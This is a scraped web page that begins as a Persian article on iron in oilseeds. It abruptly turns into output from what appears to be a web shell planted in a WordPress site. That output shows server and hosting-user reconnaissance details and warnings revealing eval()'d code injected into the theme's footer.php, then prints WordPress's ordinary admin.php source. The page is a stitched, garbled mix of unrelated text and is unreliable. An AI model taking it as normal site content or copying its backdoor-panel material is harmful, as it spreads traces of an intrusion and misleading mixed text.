یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟ به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند. شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.
دانه های روغنی و آهن موجود در آن
آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند. بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.
Server IP : 37.187.155.34 / Your IP : 18.116.45.122 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/
Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/admin.php
<?php
/**
* WordPress Administration Bootstrap
*
* @package WordPress
* @subpackage Administration
*/
/**
* In WordPress Administration Screens
*
* @since 2.3.2
*/
if ( ! defined( 'WP_ADMIN' ) ) {
define( 'WP_ADMIN', true );
}
if ( ! defined( 'WP_NETWORK_ADMIN' ) ) {
define( 'WP_NETWORK_ADMIN', false );
}
if ( ! defined( 'WP_USER_ADMIN' ) ) {
define( 'WP_USER_ADMIN', false );
}
if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
define( 'WP_BLOG_ADMIN', true );
}
if ( isset( $_GET['import'] ) && ! defined( 'WP_LOAD_IMPORTERS' ) ) {
define( 'WP_LOAD_IMPORTERS', true );
}
require_once dirname( __DIR__ ) . '/wp-load.php';
nocache_headers();
if ( get_option( 'db_upgraded' ) ) {
flush_rewrite_rules();
update_option( 'db_upgraded', false );
/**
* Fires on the next page load after a successful DB upgrade.
*
* @since 2.8.0
*/
do_action( 'after_db_upgrade' );
} elseif ( ! wp_doing_ajax() && empty( $_POST )
&& (int) get_option( 'db_version' ) !== $wp_db_version
) {
if ( ! is_multisite() ) {
wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
exit;
}
/**
* Filters whether to attempt to perform the multisite DB upgrade routine.
*
* In single site, the user would be redirected to wp-admin/upgrade.php.
* In multisite, the DB upgrade routine is automatically fired, but only
* when this filter returns true.
*
* If the network is 50 sites or less, it will run every time. Otherwise,
* it will throttle itself to reduce load.
*
* @since MU (3.0.0)
*
* @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
*/
if ( apply_filters( 'do_mu_upgrade', true ) ) {
$c = get_blog_count();
/*
* If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
* attempt to do no more than threshold value, with some +/- allowed.
*/
if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int) ( $c / 50 ) ) === 1 ) ) {
require_once ABSPATH . WPINC . '/http.php';
$response = wp_remote_get(
admin_url( 'upgrade.php?step=1' ),
array(
'timeout' => 120,
'httpversion' => '1.1',
)
);
/** This action is documented in wp-admin/network/upgrade.php */
do_action( 'after_mu_upgrade', $response );
unset( $response );
}
unset( $c );
}
}
require_once ABSPATH . 'wp-admin/includes/admin.php';
auth_redirect();
// Schedule Trash collection.
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() ) {
wp_schedule_event( time(), 'daily', 'wp_scheduled_delete' );
}
// Schedule transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}
set_screen_options();
$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );
wp_enqueue_script( 'common' );
/**
* $pagenow is set in vars.php.
* $wp_importers is sometimes set in wp-admin/includes/import.php.
* The remaining variables are imported as globals elsewhere, declared as globals here.
*
* @global string $pagenow The filename of the current screen.
* @global array $wp_importers
* @global string $hook_suffix
* @global string $plugin_page
* @global string $typenow The post type of the current screen.
* @global string $taxnow The taxonomy of the current screen.
*/
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;
$page_hook = null;
$editing = false;
if ( isset( $_GET['page'] ) ) {
$plugin_page = wp_unslash( $_GET['page'] );
$plugin_page = plugin_basename( $plugin_page );
}
if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
$typenow = $_REQUEST['post_type'];
} else {
$typenow = '';
}
if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) ) {
$taxnow = $_REQUEST['taxonomy'];
} else {
$taxnow = '';
}
if ( WP_NETWORK_ADMIN ) {
require ABSPATH . 'wp-admin/network/menu.php';
} elseif ( WP_USER_ADMIN ) {
require ABSPATH . 'wp-admin/user/menu.php';
} else {
require ABSPATH . 'wp-admin/menu.php';
}
if ( current_user_can( 'manage_options' ) ) {
wp_raise_memory_limit( 'admin' );
}
/**
* Fires as an admin screen or script is being initialized.
*
* Note, this does not just run on user-facing admin screens.
* It runs on admin-ajax.php and admin-post.php as well.
*
* This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
*
* @since 2.5.0
*/
do_action( 'admin_init' );
if ( isset( $plugin_page ) ) {
if ( ! empty( $typenow ) ) {
$the_parent = $pagenow . '?post_type=' . $typenow;
} else {
$the_parent = $pagenow;
}
$page_hook = get_plugin_page_hook( $plugin_page, $the_parent );
if ( ! $page_hook ) {
$page_hook = get_plugin_page_hook( $plugin_page, $plugin_page );
// Back-compat for plugins using add_management_page().
if ( empty( $page_hook ) && 'edit.php' === $pagenow && get_plugin_page_hook( $plugin_page, 'tools.php' ) ) {
// There could be plugin specific params on the URL, so we need the whole query string.
if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
$query_string = $_SERVER['QUERY_STRING'];
} else {
$query_string = 'page=' . $plugin_page;
}
wp_redirect( admin_url( 'tools.php?' . $query_string ) );
exit;
}
}
unset( $the_parent );
}
$hook_suffix = '';
if ( isset( $page_hook ) ) {
$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
$hook_suffix = $pagenow;
}
set_current_screen();
// Handle plugin admin pages.
if ( isset( $plugin_page ) ) {
if ( $page_hook ) {
/**
* Fires before a particular screen is loaded.
*
* The load-* hook fires in a number of contexts. This hook is for plugin screens
* where a callback is provided when the screen is registered.
*
* The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
* page information including:
* 1. The page type. If the plugin page is registered as a submenu page, such as for
* Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
* 2. A separator of '_page_'.
* 3. The plugin basename minus the file extension.
*
* Together, the three parts form the `$page_hook`. Citing the example above,
* the hook name used would be 'load-settings_page_pluginbasename'.
*
* @see get_plugin_page_hook()
*
* @since 2.1.0
*/
do_action( "load-{$page_hook}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
if ( ! isset( $_GET['noheader'] ) ) {
require_once ABSPATH . 'wp-admin/admin-header.php';
}
/**
* Used to call the registered callback for a plugin screen.
*
* This hook uses a dynamic hook name, `$page_hook`, which refers to a mixture of plugin
* page information including:
* 1. The page type. If the plugin page is registered as a submenu page, such as for
* Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
* 2. A separator of '_page_'.
* 3. The plugin basename minus the file extension.
*
* Together, the three parts form the `$page_hook`. Citing the example above,
* the hook name used would be 'settings_page_pluginbasename'.
*
* @see get_plugin_page_hook()
*
* @since 1.5.0
*/
do_action( $page_hook );
} else {
if ( validate_file( $plugin_page ) ) {
wp_die( __( 'Invalid plugin page.' ) );
}
if ( ! ( file_exists( WP_PLUGIN_DIR . "/$plugin_page" ) && is_file( WP_PLUGIN_DIR . "/$plugin_page" ) )
&& ! ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) && is_file( WPMU_PLUGIN_DIR . "/$plugin_page" ) )
) {
/* translators: %s: Admin page generated by a plugin. */
wp_die( sprintf( __( 'Cannot load %s.' ), htmlentities( $plugin_page ) ) );
}
/**
* Fires before a particular screen is loaded.
*
* The load-* hook fires in a number of contexts. This hook is for plugin screens
* where the file to load is directly included, rather than the use of a function.
*
* The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
*
* @see plugin_basename()
*
* @since 1.5.0
*/
do_action( "load-{$plugin_page}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
if ( ! isset( $_GET['noheader'] ) ) {
require_once ABSPATH . 'wp-admin/admin-header.php';
}
if ( file_exists( WPMU_PLUGIN_DIR . "/$plugin_page" ) ) {
include WPMU_PLUGIN_DIR . "/$plugin_page";
} else {
include WP_PLUGIN_DIR . "/$plugin_page";
}
}
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
} elseif ( isset( $_GET['import'] ) ) {
$importer = $_GET['import'];
if ( ! current_user_can( 'import' ) ) {
wp_die( __( 'Sorry, you are not allowed to import content into this site.' ) );
}
if ( validate_file( $importer ) ) {
wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
exit;
}
if ( ! isset( $wp_importers[ $importer ] ) || ! is_callable( $wp_importers[ $importer ][2] ) ) {
wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
exit;
}
/**
* Fires before an importer screen is loaded.
*
* The dynamic portion of the hook name, `$importer`, refers to the importer slug.
*
* Possible hook names include:
*
* - `load-importer-blogger`
* - `load-importer-wpcat2tag`
* - `load-importer-livejournal`
* - `load-importer-mt`
* - `load-importer-rss`
* - `load-importer-tumblr`
* - `load-importer-wordpress`
*
* @since 3.5.0
*/
do_action( "load-importer-{$importer}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
// Used in the HTML title tag.
$title = __( 'Import' );
$parent_file = 'tools.php';
$submenu_file = 'import.php';
if ( ! isset( $_GET['noheader'] ) ) {
require_once ABSPATH . 'wp-admin/admin-header.php';
}
require_once ABSPATH . 'wp-admin/includes/upgrade.php';
define( 'WP_IMPORTING', true );
/**
* Filters whether to filter imported data through kses on import.
*
* Multisite uses this hook to filter all data through kses by default,
* as a super administrator may be assisting an untrusted user.
*
* @since 3.1.0
*
* @param bool $force Whether to force data to be filtered through kses. Default false.
*/
if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
kses_init_filters(); // Always filter imported data with kses on multisite.
}
call_user_func( $wp_importers[ $importer ][2] );
require_once ABSPATH . 'wp-admin/admin-footer.php';
// Make sure rules are flushed.
flush_rewrite_rules( false );
exit;
} else {
/**
* Fires before a particular screen is loaded.
*
* The load-* hook fires in a number of contexts. This hook is for core screens.
*
* The dynamic portion of the hook name, `$pagenow`, is a global variable
* referring to the filename of the current screen, such as 'admin.php',
* 'post-new.php' etc. A complete hook for the latter would be
* 'load-post-new.php'.
*
* @since 2.1.0
*/
do_action( "load-{$pagenow}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
/*
* The following hooks are fired to ensure backward compatibility.
* In all other cases, 'load-' . $pagenow should be used instead.
*/
if ( 'page' === $typenow ) {
if ( 'post-new.php' === $pagenow ) {
do_action( 'load-page-new.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
} elseif ( 'post.php' === $pagenow ) {
do_action( 'load-page.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
} elseif ( 'edit-tags.php' === $pagenow ) {
if ( 'category' === $taxnow ) {
do_action( 'load-categories.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
} elseif ( 'link_category' === $taxnow ) {
do_action( 'load-edit-link-categories.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
} elseif ( 'term.php' === $pagenow ) {
do_action( 'load-edit-tags.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
}
if ( ! empty( $_REQUEST['action'] ) ) {
$action = $_REQUEST['action'];
/**
* Fires when an 'action' request variable is sent.
*
* The dynamic portion of the hook name, `$action`, refers to
* the action derived from the `GET` or `POST` request.
*
* @since 2.6.0
*/
do_action( "admin_action_{$action}" );
}